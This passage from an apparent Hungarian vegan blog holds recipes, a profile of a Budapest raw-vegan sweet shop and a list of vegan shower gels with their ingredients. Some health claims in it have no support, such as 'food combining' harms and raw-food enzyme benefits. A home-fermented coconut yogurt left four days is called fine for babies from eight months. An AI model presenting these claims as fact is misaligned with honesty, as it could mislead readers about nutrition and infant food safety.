receptét, a kivitelezéshez pedig ezen az oldalon találhatjátok a fázis fotókat. (Mert a forma ötlet innen jött, én pedig készítetem hozzá egy könnyen emészthető, diétákba is beilleszthető tésztát és krémet.) Talán nektek majd szebben sikerül! Drukkolok! ;-) Megint bebizonosodott, hogy maradjak a főzésnél, és a cukrászkodást bízzam másra. mangókrém aszalt mangóbólHOZZÁVALÓKtortalaphoz: - 50 g darált mandula / mandulaliszt - 100 g kókuszliszt - 100 g rizsliszt - 80 g kókuszcukor (egyéb tetszés szerinti édesítőszer) - 1/2 tk szódabikarbóna - 1 db citrom reszelt héjja (kezeletlen héjú) - csipet Himalája só - 2 dl kókuszjoghurt (egyéb tetszés szerinti növényi joghurt) - 4 dl mandulatej (egyéb tetszés szerinti növényi tej) - 3 ek kókuszolaj kókuszoskrémhez: - 250 ml - 2 ek kókuszkrém (Cocomas) - 3 ek + szóráshoz kókuszreszelék - 1 ek útifűmaghéj mangóskrémhez: - 30 g aszalt mangó (előző éjszakára beáztatva vízbe) - 2 ek a kókuszkrémből (Cocomas) dekorációhoz (arc és láb): - natúr kesudió, aszalt mangó, aszalt mazsola vagy áfonya, aszalt szilva, kókuszchips kókuszos süti mangókrémmel (mindenmentes, vegán) ELKÉSZÍTÉSKészítsünk egy alap tortát. Ehhez a szilárd és a folyékony összetevőket külön-külön keverjük ki, majd borítsuk egybe, és keverjük el alaposan. Elég szilárd, masszaszerű tésztát fogunk kapni, de ez így jó. Öntsük a kilisztezett tortaformánkba, ami nálam egy 17 cm átmérőjű kapcsos tortaforma volt. Tegyük a 180°C-ra előmelegített sütőbe, és kb. 40 perc alatt süssük készre. Nem kell tűpróba, mert ennek a tésztának a közepe melegen még kissé ragacsos, nem lesz száraz. (Erre van most szükségünk.) Hagyjuk kihűlni a formában, majd vegyük ki, és kezdjük el felhasználni az alábbi linken található fázisfotók alapján. Ide katt: Favoritblog A mangós krémhez (amivel megkenem a torta közepét) előző éjszakára beáztattam az aszalt mangókat, melyek csodaszépen megszívták magukat, és újra puhák lettek. Ezeket a - puha, ázott, de nem olyan lédús, mint a friss - mangókat 2 evőkanál kókuszkrémmel összeturmixolom, majd rákenem a kettévágott tortalapra. A külső kókuszkrémhez a kókuszkrémet kikeverem 3 evőkanál kókuszreszelékkel, és 1 evőkanál útifűmaghéjjal. Félreteszem 30 percre, hogy az útifűmaghéj elvégezhesse a dolgát, és megkeményedjen a hab. Miután összeállítottuk a nyuszi formát a mangókrémes tortánkból (lásd. a csatolt oldalon a fázisfotókat) megkenjük az egészet ezzel a kókuszkrémmel, majd megszórjuk az egészet egy kevés kókuszreszelékkel, ami a nyuszi szőrét fogja adni. A nyuszi arcához és lábujjaihoz is természetes hozzávalókat használtam. A fülei aszalt mangók, az orra és a szemei aszalt mazsolák / áfonyák, a bajusza aszalt szilvából vágott csíkok, a foga pedig kókusz chips. A lábujjai helyén kesudió van. Betesszük a hűtőbe a kész kókusznyuszinkat pár órára, és kész is. Nem is volt olyan bonyolult, ugye? Nektek, hogy sikerült? Elégedettek vagytok a végleges formával? És a gyerekek? :-) kókusznyuszi mangókrémmel (mindenmentes, vegán) Táplálkozz ne csak étkezz még Húsvétkor is! ;-) Megjegyzés: Azoknak, akiket zavar az állatra emlékeztető küllem, ajánlom, hogy készítsék el a trópusi kókusztortát hagyományos tortaformában, mert ízre nagyon finom a végeredmény. ;-) KELLEMES HÚSVÉTI ÜNNEPEKET, GYOMORBARÁT, ÖRÖMTELI ÉTKEZÉSEKET ÉS VIDÁM CSALÁDI PILLANATOKAT KÍVÁNUNK MINDENKINEK! :-)
Vegán, gyümölcsös ivójoghurt
2016. március 22. Éltető ételek
Bocitejből készült gyümölcsös joghurtot a rossz ételtársítás miatt jobb elkerülni, mert csak erjedés, puffadás és gázosodás lesz az eredménye. Viszont nem kell lemondani ezekről az ízekről, készíthetünk növényi joghurtot, amelybe viszont már tehetünk gyümölcsöket. A DM-ben vettem fém dobozos kókusztejet, amely nagyon sűrű, magas kókusz tartalma van. Leszedtem a tetejéről a kókuszzsírt (ezt sütikbe elhasználhatjuk), és még ugyanennyi kókusztejet öntöttem hozzá. Természetesen házilag is készíthetsz jó sűrű kókusztejet. Tettem bele probiotikumot (én imsyser), egy kevéske kókuszcukrot és meleg helyre tettem. Másnap még semmi változás nem volt, így betettem a hűtőbe, hogy majd lesz valami vele. 4 nap után jutott eszembe, hogy valamit kellene belőle csinálni, akár lett belőle joghurt, akár nem. Megkóstoltam, és csodák csodájára kellemesen savanykás íze volt. Turmixoltam bele banánt, került bele fahéj és lucuma por is. Ezen kívül még kedvenc savanykás gyümölcsünk is belekerülhet, nyáron őszibarackkal vagy akár eperrel is el tudom képzelni. A babakonyhába is megállja a helyét, 8 hónapos kortól nyugodtan kaphatják a babák. Természetesen olyan gyümölccsel, amit egyébként is kaphat. Hozzávalók: - 1 doboz kókusztej (én ezt vettem) - 4 dl kókusztej - 30 ml imsyser - 1 mokkáskanál kókuszcukor - 1 banán - 1 mokkáskanál lucuma por (remek vasforrás) - 1/2 mokkáskanál fahéj - opció: kedvenc savanykás gyümölcs Itt tudod beszerezni a lucumát. :)
Rakott burgonya másképp
Ha azt mondják, rakott krumpli, az emberek jelentős része a kolbásszal, tojással vízszintesen rakott, tejföllel megkent ételre gondol. Most egészen másképp raktam össze a krumplikarikákat. Körbe körbe, a karikák közé helyezve, ha úgy tetszik tűzve a paprikát, füstölt tofut és lila hagymát. A tetejére jó kis fűszeres olajat tettem (amit még férjem kapott valamikor). Az olajban egy szép szál rozmaring díszlett és kölcsönzött mediterrán ízvilágot, nem csak az olajnak, hanem az így elkészített rakott krumplinak is. Húsvétra (is) ajánott vegán étel, nem csak vegánoknak, mert szenzációsan finomra sikeredett.
A recept:
Hozzávalók:
- fejenként 2-3 burgonya
- 1 füstölt tofu
- fejenként 1 lila hagyma
- fejenként fél pritamin paprika
- só
- fűszerolaj (rozmaringgal)
- kókuszzsír
- víz
Elkészítés:
A megmosott krumplikat héjastól vízben előfőzzük, de ne olyan puhára, mint a rakott krumplit. Ne maradjon nyers a belseje, de ne is főzzük puhára! Közben felkarikázzuk a lila hagymát, felszeleteljük a tofut és a paprikát, kókuszzsírral kikenünk egy tűzálló tálat. A megfőtt krumplikat hideg vizzel átzuhanyoztatjuk, majd ha lehűltek, felkarikázzuk őket. (Én direkt nem fejtettem le a héjukat.) Ezt követően már csak a tűzálló tálba körös-körbe egymás után rakva helyezzük a felszeletelt ételeket: 1 krumpli 1 tofu 1 krumpli 1 hagyma 1 krumpli 1 paprika és így tovább. A tetjét megszórjuk némi sóval (pl. darabos himalaya só), fűszerolajjal megkenjük őket és mehet a sütőbe, ahol pirulásig sütjük.
Színes kókusztojás
2016. március 21. Éltető ételek
Ha szereted a kókuszt, akkor ez a kókusztojás is ízleni fog neked. A locsolkodók biztosan örömmel fogadják ezeket a különleges mini tojásokat. Mitől lesznek ilyen színesek? Nos, nem mesterséges színezőanyagoktól. A cékla, erdei gyümölcsök, kakaópor remek színezők. Érdemes hűtőben tartani, mert a kókuszzsír szobahőmérsékleten puha/olvad. Ha biztosra szeretnénk menni, akkor adjunk még hozzá kakaóvajat. Hozzávalók: - 10 dkg kénmentes kókuszreszelék - 10 dkg kesudió - 1 evőkanál juharszirup/méz - 1 késhegynyi vaníliapor - természetes színezőanyag (én kakaóport és erdei gyümölcsöt használtam, a harmadik natur maradt) Elkészítése: A kókuszreszeléket kávédarálón daráljuk meg, hogy a kókuszzsír jól kicsapódjon.A kesudiót is jól daráljuk meg, itt szintén legyen alaposan krémes.Édesítsük, ízesítsük, jól dolgozzuk össze. Akkor jó, ha tenyerünkbe nyomva összeáll a massza.Tegyük be a hűtőbe néhány órára.Osszuk 3 részre, és külön színezzük meg a tésztát. (Ha túl lágy lesz a massza, akkor adjunk hozzá kókuszreszeléketFormázzunk belőle mini tojásokat. Ha szeretnéd, beforgathatod kókuszreszelékbe.Tegyük vissza a hűtőbe néhány órára.Önmagában is kínálhatjuk, de kosárkák tetejére is kerülhet.
Meggyes vegán túrógombóc kölesből
2016. március 19. Vegán lettem
Vegán túrógombóc receptet sok blogon láthatsz, de olyat, melyben meggy is van nem sok helyen! Mindezt gluténmentes formában!
Amióta vegán vagyok foglalkoztat, hogy hogyan lehet elkészíteni erőszakmentes módon a klasszikus tejtermékes, tojásos és húsos ételeket. Főleg a nagy kedvenceimet vadászom mindig vegán kivitelben és a túrógombóc bizony mindig is favoritnak számított. A vegán túrógombóc megtévesztően hasonlít mind ízvilágban mind állagban a klasszik túrógombócra. Elkészítése pofon egyszerű, elrontani szerintem lehetetlen. Még nekem sem sikerült, pedig nem vagyok egy konyhatündér. Emellett tök egészséges és nem terheli le a gyomrodat órákra, mint a zsíros tehéntúró. Na de lássuk, hogyan készül a vegán túrógombóc!
Meggyes vegán túrógombóc hozzávalók
A vegán túrógombóchoz: (kb. 20 gombóc)
300 g köles
150 g kukoricadara (búzadara is megteszi, ha nem ragaszkodunk a gluténmentességhez)
9 dl rizstej (bármely más növényi tej megteszi)
1 dl sűrű kókusztej (konzerv)
2 citrom leve
5 ek rizsszirup
3 csomag vaníliás cukor
2 kk Himalaya só
1 üveg meggybefőtt
100g gluténmentes zsemlemorzsa
3 ek kókuszzsír
2 púpozott evőkanál kókuszvirágcukor (bármilyen más édesítő megteszi)
1 tk őrölt fahéj
Az öntet:
400g szójajoghurt
porcukor (ízlés szerint)
Meggyes vegán túrógombóc elkészítése
A kölest elvileg fél napra áztatni kellene, de olyan hirtelen jött a vegán túrógombóc ötlete, hogy ez nálam kimaradt. Inkább hozzáadtam a köleshez a növényi tejet, a vaníliás cukrot valamint a sót, majd feltettem a tűzre és hagytam főni. Miután megpuhult a köles, hozzáadtam a rizsszirupot, a kukoricadarát, az 1dl kókusztejet, a két citrom frissen csavart levét és hagytam hűlni. Amíg a masszává főtt köles hűlt, kókuszzsíron megpirítottam a gluténmentes zsemlemorzsát, majd összekevertem a fahéjjal és a kókuszvirágcukorral.
A kihűlt kölesből gombócokat gyúrtam és minden gombóc közepébe 3 szem meggyet helyeztem a meggybefőttből, majd köré dolgoztam a masszát. Végül belehempergettem a pirított gluténmentes édeskés zsemlemorzsába és félretettem őket egy tányérra még egy órát állni.
A tálalást nem vettem túl komolyan, a vegán túrógombócra rákanalaztam a szójajoghurtot majd megszórtam kevés porcukorral. Két gombóc úgy eltelített, hogy a többit kénytelen voltam másnapra elrakni, úgyhogy ha rám hallgatsz vendégeket hívsz. Nagy sikered lesz!
Jó étvágyat a meggyes vegán túrógombóchoz!
Pita kenyér házilag
2016. március 18. Éltető ételek
Ez a pita roppant egyszerű, bár nem 5 perces elkészítésű finomság. Tölthetjük bármivel, amivel csak szeretnénk. Én sok-sok zöldséget teszek bele sok-sok mártással (pl. tzatziki, házi ketchup) Hozzávalók: - 50 dkg teljes kiőrlésű tönkölyliszt (vagy tönke) - 3 dl langyos víz - 2 teáskanál himalája só - 2 evőkanál olívaolaj - 1 teáskanál kókuszvirágcukor - 2,5 dkg élesztő Elkészítése: A lisztet tegyük egy tálba, és a közepére csináljunk egy kis mélyedést. Morzsoljuk bele az élesztőt, szórjuk rá a cukrot, és öntsünk rá egy kevéske langyos vizet. Takarjuk le, hagyjuk pár percig, hogy felfusson - buborékok jelenjenek meg benne - az élesztő.Ezután a hozzávalókból dagasszunk egy kissé lágyabb tésztát, majd lefedve, meleg helyen hagyjuk duplájára kelni. Kb. 1 óra elteltével 8 egyforma darabba vágjuk, gömbölyítsük, majd ismét 5-10 percre pihentessük.Lisztezett felületen kerek formákat (10-12 cm átmérőjű) készítsünk belőlük, úgy 4-5 mm vastagokat. Ruhával letakarva hagyjuk őket 30 percig pihenni. Melegítsük elő a sütőt 220 fokra (légkeverésre). A tepsit is melegítsük fel, és erre helyezzük a pitákat úgy, hogy ne érjenek össze. Az egyik oldalát süssük 4 percig, majd fordítsuk meg (gyorsan, hogy ne süsse meg a kezünket), és még 2 percig a másik oldalát.A kisült pitákat tegyük rácsra, hogy azon hűljön ki. Vágjuk meg az oldalát, majd késsel még a zsebecskén tágíthatunk.
Banánkrémes zabkása
2016. március 18. Éltető ételek
Nem tudok ráunni ezekre a kásákra. Annyira finomak, hogy képes lennék reggel, délben és este is ezt enni. :) A kedvencem az egyszerű, vízben főzött zabkása, amelyhez mandulatejet öntök. Ez egy picit másabb ennél, mert gyümölcs is került hozzá, és egy kis mandulakrém is. Ha van kedvetek, próbáljátok ki. Hozzávalók (1 adag) - 1/2 bögre zabpehely - 1 bögre rizstej/kókusztej - 1/2 bögre víz - 1 evőkanál mazsola - 1 kávéskanál finomítatlan kókuszzsír (legyen kókusz illata) - 1 kávéskanál mandulakrém - 1 banán - késhegynyi vaníliapor - csipet só - Tetejére: savanykás gyümölcs, dió (vagy más olajos mag) Elkészítése: Tegyük fel főni a rizstejes vizet. Szórjuk bele a mazsolát, a vaníliapor a csipet sót, és a karikára vágott banán felét!Amikor felfőtt a folyadék, szórjuk bele a zabpelyhet. Kb. 5 perc keverés után meg is főtt a kása.Adjuk hozzá a kókuszzsírt és a mandulakrémet. Keverjünk rajta kettőt, hármat, hogy szépen elkeveredjen benne minden.Szedjük ki egy tálkába, és tegyük rá a megmaradt banánkarikákat és kedvenc savanykás gyümölcsünket. Én most fagyasztott erdei gyümölcskeveréket tettem rá.Szórjuk meg áztatott/szárított dióval.
Naspolya Nassolda a budapesti nyers nassolda
2016. március 17. Vegán lettem
Édességre vágytam így meglátogattam a Naspolya Nassolda nasizót, mely Budapest egyik közkedvelt nyers csemegézője.
Szokásomhoz híven, ha már arra jártam nem csak kóstoltam, hanem kérdeztem is. Ha a belvárosban laksz akkor számodra a Naspolya Nassolda könnyedén megközelíthető, mivel a Deák Ferenc tértől mindössze 3-4 perc sétára található a Káldy Gyula utcában. De ha nem akarsz útra kelni, akkor sem kell elkeseredni, mivel webshopjukban házhoz szállítással is rendelhetőek az aktuális finomságok. Na de ennyire ne szaladjunk előre!
A Naspolya Nassolda története
A Naspolya Nassolda alapító-tulajdonosai Bárányos Réka és Novák Ádám, akik az életben is egy párt alkotnak. Réka és Ádám körülbelül egy éven át követték a nyers-vegán vonalat, pontosabban az azon belül is szigorúnak számító 80/10/10 étrendet, amely az egyik legegészségesebb táplálkozási irányzatnak számít manapság. A tisztán nyers étkezés pozitív élettani hatásait gyakorlatilag azonnal megtapasztalták magukon, Réka nagy kedvvel kezdett ezekkel a formabontó receptekkel kísérletezni és hamarosan megszületett egy nyers-vegán cukrászda létrehozásának a gondolata. A Naspolya Nassoldát 2014 decemberében nyitották.
Az étkezéshez való viszonyukról így nyilatkozott Réka: “Már csak részben követjük a nyers-vegán táplálkozást, de nem is akartuk soha beskatulyázni magunkat. Ha télen egy meleg leves esik jól, akkor azt eszem mindenféle rossz érzés nélkül. Abban hiszek, hogy az ember úgy táplálkozzon, ahogy jól érzi magát!”
Az alkalmazottak kiválasztásánál nem kikötés a vegánság, mivel maga a Naspolya Nassolda megnyitásával sem a nyers-vegán étrend melletti kizárólagos elkötelezettséget akarták képviselni. Sokkal sokkal inkább egy alternatívát mutatnak azok számára, akik szeretnék megtapasztalni, hogy cukor hozzáadása nélkül, nyersen, elsősorban gyümölcsökből és magvakból készült édesség is lehet olyan finom, vagy akár még finomabb, mint egy cukros, habos, tojásos sütemény.
A hely kínálata egyébként nem 100%-osan vegán. Az aktuálisan kapható kb. 25 termékből mindössze négy édességükhöz használnak mézet, de külön kérésre ezeket is el tudják készíteni vegán módra. A termékek összetevői között külön jelölik a mézet, és szóban is készséges tájékoztatást adnak, így a vegánok is teljes biztonsággal válogathatnak a Naspolya finomságai között. A vegán vendégkörre való tekintettel az új receptek kidolgozásánál már hangsúlyt kap a méz teljes mellőzése. (Amennyiben a Naspolya veganizálódik, frissítem a cikket.)
A Naspolya Nassolda kínálata
Az alapanyagok felhajtására komoly energiát fordítanak Rékáék és nagyon megválogatják a forrásokat az alapanyagok minősége miatt. Legfőképpen biopiacról és őstermelőktől vásárolnak, így kerülvén el a nagyipari termelésből érkező növényeket, melyek vitamin tartalma messze alul maradnak a bio termelésből származó növényekétől. Kerülik az olyan népszerű növényi zsírok, mint például a kókuszzsír használatát is, amely egyébként igen elterjedt hozzávaló a nyers étkezésben. Réka szerint a nyers édességek remekül elkészíthetők enélkül a teljesen felesleges zsírbevitel nélkül is.
A Naspolya Nassoldában minden helyben, a konyhán készül, még a mandulatej is, így biztosítva a frissességet és a kiváló minőséget. A kínálatot az adott évszakra jellemző zöldségek és gyümölcsök alakítják, hiszen a termékpaletta elsősorban a hazai idénygyümölcsökre épül. A cikk elkészülte közben például számos nehezebb téli nyers finomságokat kínál a webshop. A Naspolya Nassoldában a számos aszalványon (trüffelek, granolák, datolyagolyók) kívül ínyenc nyers torták és piték, karobos chia puding, zöldségcsipszek, illetve frissen facsart gyümölcslevek, mandulatejes italok és kávékülönlegességek is kaphatóak. Tavasztól gyümölcsös müzli-szerű reggelit vezetnek be többféle ízben, természetesen tojás-, tej-, tejtermék-, glutén- és hozzáadott cukor-mentesen (az összes kitétel egyébként minden termékükre elmondható).
Feltettem a szokásos kérdésemet Rékának, miszerint melyik az az édesség szerinte, mely a leginkább mutatja be a Naspolya Nassoldát. “Legyen mondjuk a sós-karamellás cupcake, ez a vendégeink egyik nagy kedvence. Aszalt datolyával édesítjük, Himalája-sóval sózzuk belül, Maldon-sópelyhekkel kívül, az ízvilága így válik a sós-karamellához hasonlóvá. A receptek kidolgozásánál egyébként arra törekszem, hogy ezek az édességek valódi kulináris élményt nyújtsanak, tehát ne “csak” egészségesek legyenek.”
Réka a nyers étkezésről
A hőkezelés nélkül készült nyers ételek egyik legfontosabb tulajdonsága, hogy a készítés során nem károsodnak az enzimek a táplálékban, amelyek mind az emésztéshez, mind a vitaminok hatékony felszívódásához szükségesek. A nyersétkezők nem főznek, nem sütnek, nem párolnak, de még az aszalás során sem teszik ki az alapanyagokat 42°C feletti hőmérsékletnek. Réka vallja, hogy az előítéletekkel ellentétben nyersen táplálkozni nem nehezebb, mint bármely más étkezési formát követni. Sőt!
“Az emberek mára elfelejtették, hogy mennyire egyszerűen és gyorsan tudunk finom ételeket készíteni gyümölcsök és zöldségek felhasználásával. Pedig a növények éltetik az emberi szervezetet!” - mondta Réka.
A beszélgetés végére azt a konklúziót vontam le, hogy a nyers étkezés nem egy bonyolult dolog. Ahogy a húst, a tojást és a tejtermékeket is főleg megszokásból fogyasztják az emberek, úgy ha a nyers ételekhez szoknánk hozzá, akkor az lenne a mindennapos. Utánajárással jár az elején, mint minden új dolog, de egy idő után természetessé válik. Alátámasztva Réka a nyers étkezés egyszerűségét megosztotta velünk egyik kedvenc nyers vegán receptjét a Naspolya Nassolda ajánlásával:
Nyers-vegán datolyagolyók
Hozzávalók:
1,5 csésze datolya
1 csésze mandula
mandulaőrlemény
Elkészítés:
A datolyát vágd egészen apró darabokra, a mandulát őröld meg. Kézzel gyúrd össze először csak a feldarabolt datolyát, egy ragacsos masszát fogsz kapni. Ezt dolgozd egynemű állagúvá az őrölt mandulával, fűszerezd kedved és ízlésed szerint, majd gyúrj belőle neked tetsző méretű golyócskákat. A golyókat forgasd meg végül mandulaőrleményben.
A nyers étkezés iránt érdeklődőknek Réka a következőket tanácsolja: “A nyersétkezésre való áttérés fokozatosan vagy egy határozott döntés nyomán, azonnal is megtörténhet. Nagyon fontos, hogy kellő mennyiségű információ, utánaolvasás előzze meg ezt, hogy nyersétkezőként valóban mindent megadjunk a szervezetünknek, amire szükségünk van. A gyümölcsturmixok vagy zöldségekből (aszalással) készített chipsek nagyon ínycsiklandó belépők ebbe a világba.”
A Naspolya Nassolda hitvallása és küldetése: “Megmutatni az embereknek, hogy a nassolás igenis lehet egyszerre nagyon finom és tökéletesen egészséges! Szerettünk volna leszámolni a nassolás fogálmához tapadt lelkiismeretfurdalással. Egy egészséges desszert elfogyasztása után energikusabbak leszünk, hiszen tiszta energiát adó táplálékhoz jutunk. A testünk-lelkünk hálás lesz az élményért.”
Az az apróság pedig csak hab a tortán – természetesen nyers vegán tortán -, hogy a Naspolya Nassolda 100%-osan kutyabarát hely. 2015-ben az év kutyabarát helyek díjának különdíját nyerte el. Gratulálok és köszönöm minden kutya nevében!
Nyitvatartás:
Minden nap: 10:00 és 20:00 óra között.
Kiszállítást az egész ország területére vállalnak.
Cím: 1061 Budapest, Káldy Gyula utca 7.
A Naspolya Nassolda honlapja és a Naspolya Nassolda facebook oldala.
Mandulás patkó
2016. március 16. Mindennapi ételeink
Hozzávalók: 15 dkg finomliszt 15 dkg zabpehelyliszt 10 dkg mandula 8 dkg kókuszzsír 1 csipet só 15 dkg aranybarna nádcukor 1 tk. foszfátmentes sütőpor -- 6 evőkanál víz 3 evőkanál karobpor 3 evőkanál növényi tejpor 2 evőkanál kókuszolaj 3-4 evőkanál méz / szirup 3-4 evőkanál víz Elkészítés: A megolvasztott kókuszzsírt kikeverjük a cukorral, majd hozzáadjuk sütőport, a liszteket, a darált mandulát, és összegyúrjuk. Hűtőben 30 percig pihentetjük. Majd ujjnyi rudakat sodorunk a tésztából, és patkó alakúra formázzuk. Sütőpapírral bélelt tepsibe tesszük és kisütjük. Eközben elkészítjük az "öntetet": alaposan összekeverjük a hozzávalókat. Legvégül a patkók végeit az öntetbe mártogatjuk.
Gombapástétom
2016. március 14. Éltető ételek
Nagyon szeretem ezeket a pástétomokat, igazán változatossá tehető vele a reggeli, és ki tudunk lépni a felvágott-sajt világából. :) De nemcsak kenyérre kenhetjük, hanem kifőtt tésztával is tálalhatjuk, amely révén egy főétel kerekedik ki belőle. Ezt a receptet egy kedves ismerősömtől kaptam, iziben ki is próbáltam. A fűszerezés természetesen ízlés szerint történhet, bár a petrezselyem azért természetes benne. Hozzávalók (2 adag): - 1 kis fej vöröshagyma - 1/2 kápia paprika - 2 gerezd fokhagyma és/vagy medvehagyma - 15 dkg gomba - 1 marék fehér, szeletelt mandula - himalája só, bors - pici friss gyömbér - 2 kis darab koktélparadicsom (nekem volt a fagyasztóban) - zöldfűszerek: petrezselyem, rozmaring Elkészítése: A hagymát vágd fel pici darabokra, majd kevés kókuszolajon kezd el dinsztelni. Add hozzá a gyömbért, majd az apróra vágott gombát és a paprikát is. Párold kb. 10 percig.Add hozzá a szeletelt mandulát, és a paradicsomot, majd párold még további 10 percig.Fűszerezd, botmixerezd.Nemcsak kenyérre kenhetjük, hanem kifőtt tésztával is nyugodtan összekeverhetjük.
Vegán tusfürdők a magyar üzletekben és boltokban
2016. március 13. Vegán lettem
Vegán tusfürdők egyre nagyobb választékával találkozhatsz már nagyobb hipermarketekben és drogériákban is! Körbejártam ezeket a boltokat és összeszedtem nektek őket. Nem sokan tudják, hogy a háztartási termékek zömének gyártása bizony felesleges szenvedéssel jár. A tusfürdők, dezodorok, takarítószerek összetevőit és a kész termékeket is ártatlan állatokon tesztelik. Majmok, nyulak, macskák, kutyák, egerek ezrei halnak meg kínok között minden évben az ilyen értelmetlen évekig tartó tesztelések miatt. 2015-ben számos állatjogi siker között üdvözölhettük az ilyen jellegű tesztek tiltását számos országban. Nem szükséges ezen állatok szenvedése! Válassz cruelty free vagy vegán tusfürdőket! Amikor vegán tusfürdőt keresel érdemes odafigyelni a jelzésekre, ugyanis több logóval találkozhatsz a piacon. Alapvetően vannak a “cruelty free” vagy “non tested on animals” – erőszakmentes – tusfürdők, melyeket nem teszteltek állatokon, valamint vannak a kifejezetten vegán tusfürdők, melyeket nem teszteltek állatokon és állati eredetű összetevőket sem tartalmaznak. Ezeknek pontos leírását az alábbi cikkben találod, alább pedig ABC sorrendben a Magyarországon kapható cruelty free és vegán tusfürdőket. Női és férfi erőszakmentes/vegán tusfürdők Alterra Naturkomsetiks vegán tusfürdő Összetevők: Aqua, Alcohol, Glycerin, Coco glucoside, Cocos nucifera fruit, Xanthan gum, Glyceryl oleate, Silica, Disodium cocyl glutamate, Carica papaya fruit extract, Aloe barbadensis leaf powder, Parfum, Limonene, Sodium cocoyl glutamate, Citric acid Vegán típusok: Papaya és kókusz Hol kapod? Rossmann Ár: kb. 900 Ft Alverde vegán tusfürdők Összetevők: (illattól függő) Aqua, Sodium Coco-Sulfate, Glycerin, Lauryl Glucoside, Sodium Lactate, Maris Sal, Sodium Cocoyl Glutamate, Disodium Cocoyl Glutamate, Olea Europaea Fruit Extract*, Aloe Barbadensis Leaf Juice*, Calendula Officinalis Flower Extract*, Alcohol*, Parfum**, Limonene**, Linalool**, Citral**, Citronellol**, Geraniol** Típusok: Grapefruit és bambusz, Olíva és aloe vera Hol kapod? DM Ár: kb. 600 Ft Bettina Barty erőszakmentes tusfürdők Összetevők: (típustól függő) Aqua, Sodium laureth sulfate, Cocamidopropyl betaine, Sodium chloride, Coco-glucoside, Parfum, Glycreyl oleate, Citric acid, Sodium benzolate, Styrene/acrylates copolymer, Alantoin, Potassium sorbate, Peg-120 methyl glucose dioleate, Polyquaternium-7, Hexyl cinnamal, Tetrasodium edta, Glycerin, Limonene, Pyrus malus juice, CI 15510, CI 16035. Típusok: Alma és fahéj, kókusz és lime, málna és kivi Hol kapod? Rossmann Ár: kb. 1500 Ft / 500ml CD erőszakmentes tusfürdő Összetevők: Aqua, Sodium laureth sulfate, Glycerin, Cocamidopropyl betaine, Sodium Chloride, Parfum, Nympaea alba flower extract, Coco-glucoside, Glyceryl oleate, Hydroxypropyl, Guar hydroxypropyltrimonium chloride, Citric acid, Sodium benzoate, Limonene, Hexyl Cinnamal, Linalool Hol kapod? Rossmann, Tesco Ár: kb. 650 Ft Dermax erőszakmentes tusfürdő Összetevők: Aqua, Sodium laureth sulfate, Cocamidopropyl betaine, Cocamide DEA, Glycerin, PEG-7 glyceryl cocoate, Polyquaternium 7, Sodium lactate, Allantoin, Phenoxyethanol, Citric acid, Sodium benzoate, Tetrasodium EDTA, Sodium chloride Hol kapod? DM, Tesco Ár: kb. 800 Ft Dr. Organic vegán tusfürdők Összetevők: (illattól függő) Aloe barbadensis leaf juice, Aqua, Cocamidopropyl betaine, Sodium cocoamphoacetate, Sodium lauroyl sarcosinate, Caprylyl/Capryl glucoside, Disodium lauryl sulfosuccinate, Coco glucoside, Glyceryl oleate, Lauryl glucoside, Cocos nucifera fruit extract, Carica papaya (papaya) fruit extract, Mangifera indica (mango) fruit extract, Theobroma cacao (cocoa) seed extract, Garcinia mangosteena (mangosteen) fruit extract, Ficus carica (fig) fruit extract, Citrus aurantium dulcis, Citrus aurantium bergamia (bergamot) fruit oil, Citrus limon peel oil, Gamma undecalactone, Maltol, 3-hexenol, Gamma octalactone, Diacetyl natural, Sodium hydroxymethylglycinate, Potassium sorbate, Ascorbic acid, Citric acid, Limonene Típusok: Gránátalma, Szűz kókuszolaj, Teafaolaj, Olívaolaj, Aloe vera Hol kapod? DM, Tesco, Müller Ár: kb. 1900 Ft Isana vegán tusfürdők Összetevők: (illattól függő) Aqua, Sodium laureth sulfate, Cocamide DEA, Cocamidopropyl betaine, PEG-7 glyceryl cocoate, Mentha avensis oil, Panthenol, Glycerin, Critic acid, Parfum, Sodium chloride, Sodium benzoate, Potassium sorbate, Styrene/Acrylates copolymer, Coco-glucoside, Testrasodium glutamate diacetate, Benzoic acid, Sodium hydoxide, Sodium polynapthalenesulfonate, Citral, Limonene, Linalool, CI-11680 Vegán típusok: Lady Lemon és Mademoiselle Raspberry Hol kapod? Rossmann Ár: kb. 500 Ft / 500ml Kneipp vegán habfürdők Összetevők: (illattól függő) Aqua, Sodium laureth sulfate, Cocamidopropyl betaine, Parfum, Peg-40 sorbitan peroleate, Peg-18 glyceryl oleate, Coco-glucoside, Glycerin, Papaver orientale seed oil, Cannabis sativa seed oil, Citrus nobilis peel oil, Citrus aurentium bergamia fruit oil, Olibanum, Limonene, Geraniol, Citric acid, Tocopherol, CI-16255, CI-42090 Vegán típusok: Vörös mák és kender, Levendula és vanília, Gránátalma és amaránt olaj, Rebarbara és rózsa, Maracuja és grapefruit, Eukaliptusz és menta Hol kapod? Müller, Tesco Ár: kb. 1500 Ft Lavera basis sensitive vegán tusfürdők Összetevők: Aqua (Water), Sodium Coco-Sulfate, Ammonium lauryl sulfate, Lauryl glucoside, Maris sal, Betaine, Calendula officinalis flower extract, Equisetum arvense leaf extract, Algae, Melissa officinalis flower extract, PCA glyceryl oleate, Lauroyl lysine, Alcohol, Parfum, Limonene, Geraniol, Linalool, Citral, Citronellol, Hol kapod? Müller Ár: kb. 1400 Ft Neobio vegán tusfürdők Összetevők: (típustól függő) Aqua (Water), Sodium Coco-Sulfate, Coco-Glucoside, Lauryl Glucoside, Glycerin, Betaine, Aloe Barbadensis Leaf Juice*, Citric Acid, Caffeine*, Camellia Sinensis Leaf Extract*, Potassium Sorbate, Sodium Chloride, PCA Ethyl Cocoyl Arginate, Parfum (Essential Oils), Limonene Kálium-szorbáttal tartósítva *ellenőrzött bio termesztésből Vegán típusok: Koffeines zöld teás, Narancsos lime-os, Gránátalmás orchideás Hol kapod? Rossmann, Müller, nagyobb DM-ek Ár: kb. 1000 Ft Original Source vegán tusfürdők Összetevők: (típustól függő) Aloe barbadensis leaf juice, Aqua, Cocamidopropyl betaine, Sodium cocoamphoacetate, Sodium lauroyl sarcosinate, Caprylyl/Capryl glucoside, Disodium lauryl sulfosuccinate, Coco glucoside, Glyceryl oleate, Lauryl glucoside, Cocos nucifera fruit extract, Carica papaya (papaya) fruit extract, Mangifera indica (mango) fruit extract, Theobroma cacao (cocoa) seed extract, Garcinia mangosteena (mangosteen) fruit extract, Ficus carica (fig) fruit extract, Citrus aurantium dulcis, Citrus aurantium bergamia (bergamot) fruit oil, Citrus limon peel oil, Gamma undecalactone, Maltol, 3-hexenol, Gamma octalactone, Diacetyl natural, Sodium hydroxymethylglycinate, Potassium 